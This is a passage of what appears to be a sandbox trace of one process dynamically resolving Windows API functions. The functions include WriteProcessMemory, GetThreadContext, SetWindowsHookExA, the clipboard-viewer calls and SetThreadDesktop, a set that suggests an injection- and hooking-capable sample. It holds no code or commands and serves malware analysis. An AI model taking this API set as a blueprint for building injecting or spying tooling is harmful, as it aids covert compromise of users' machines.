ProcedureAddress=0x2d1c9bf900*=0x7fffefecb7b0) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed4e70) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed6730) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetThreadContext", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed6780) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeda3f0) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="VerLanguageNameW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed8cd0) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetLocaleInfoW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed72a0) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecdf70) returned 0x0 [0141.040] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetProcessTimes", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecd7a0) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed1040) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed6a40) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefede800) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd8e0) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddc10) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd880) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="DuplicateHandle", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd660) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SetFilePointerEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddc70) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddc20) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddcc0) returned 0x0 [0141.041] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetFileInformationByHandle", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedda80) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetProcessId", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3d50) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="MulDiv", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddcf0) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetSystemWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefef5f90) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SystemTimeToFileTime", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed7290) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed0580) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddb50) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetLongPathNameW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecaac0) returned 0x0 [0141.042] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GlobalFree", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecdcc0) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb4e0) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb590) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GlobalAlloc", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed0de0) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedac40) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed1810) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed4ce0) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed4860) returned 0x0 [0141.043] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed50f0) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetEnvironmentVariableW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed35f0) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcpynW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed91a0) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="ReadProcessMemory", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed3680) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefecb710) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed16f0) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefece370) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefef6a60) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcmpW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed1b30) returned 0x0 [0141.044] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd770) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd8b0) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd980) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefeddbd0) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd9c0) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefed0c80) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffefeb0000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffefedd8a0) returned 0x0 [0141.045] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="USER32.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7fffeff60000) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="WindowFromPoint", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff92120) returned 0x0 [0141.045] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetThreadDesktop", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff92ee0) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="FindWindowExA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff83c60) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="ActivateKeyboardLayout", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff94240) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SendMessageA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff75eb0) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SendMessageTimeoutA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff8d5c0) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="PostMessageA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff87640) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="DefWindowProcA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7ffff0844a30) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="CallWindowProcA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff91400) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="EmptyClipboard", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff93d80) returned 0x0 [0141.046] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetClipboardData", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff8e2c0) returned 0x0 [0141.048] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetClipboardData", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff90350) returned 0x0 [0141.048] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="ChangeClipboardChain", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff941a0) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetClipboardViewer", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff941c0) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetClipboardOwner", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff937a0) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="wsprintfA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff84d50) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="IsWindow", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff76d80) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="WindowFromDC", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff86d40) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="UnhookWindowsHookEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff92c80) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetWindowsHookExA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff628e0) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetAncestor", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff934c0) returned 0x0 [0141.049] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetWindowInfo", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff731e0) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="CallNextHookEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff76150) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetClassNameA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff902b0) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="FindWindowA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeffe87a0) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetParent", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff7f5d0) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetClassLongPtrA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeffe8c30) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetClassLongPtrA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeffe7fb0) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetWindowLongPtrA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff77810) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetWindowLongPtrA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff6d740) returned 0x0 [0141.050] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="FillRect", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff63090) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="ScreenToClient", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff700b0) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="ClientToScreen", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff702e0) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetClientRect", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff6c000) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="RedrawWindow", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff92100) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="MenuItemFromPoint", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff99be0) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMenuItemRect", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff99240) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="EndMenu", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff98dc0) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="TrackPopupMenuEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff9a8a0) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="TrackPopupMenu", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeffdba70) returned 0x0 [0141.051] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMenuItemCount", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff6d820) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMenuItemID", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff87b20) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetSubMenu", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff885c0) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetSystemMenu", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff92aa0) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMenuState", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff8b8c0) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="HiliteMenuItem", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff99740) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMenu", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff755c0) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetKeyboardState", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff93c60) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetLayeredWindowAttributes", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff9a440) returned 0x0 [0141.052] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="PrintWindow", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff99d20) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetDC", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff91fe0) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="ReleaseDC", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff69c50) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="wsprintfW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff881e0) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetUserObjectInformationA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff89a90) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetDoubleClickTime", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff93540) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetWindowPos", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff92320) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetSystemMetrics", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff729f0) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMenuItemInfoA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff7fd50) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMenuDefaultItem", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff86ec0) returned 0x0 [0141.053] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetWindowRect", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff72320) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="MapWindowPoints", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff809c0) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="IsRectEmpty", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff80ea0) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetWindow", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff786d0) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="SetThreadDesktop", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff930a0) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetMessageA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff7cad0) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="TranslateMessage", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff750b0) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="DispatchMessageA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff88d10) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="PostThreadMessageA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff875c0) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="DestroyWindow", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff93220) returned 0x0 [0141.054] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="ShowWindow", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff92980) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="CreateDialogIndirectParamW", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff627f0) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, 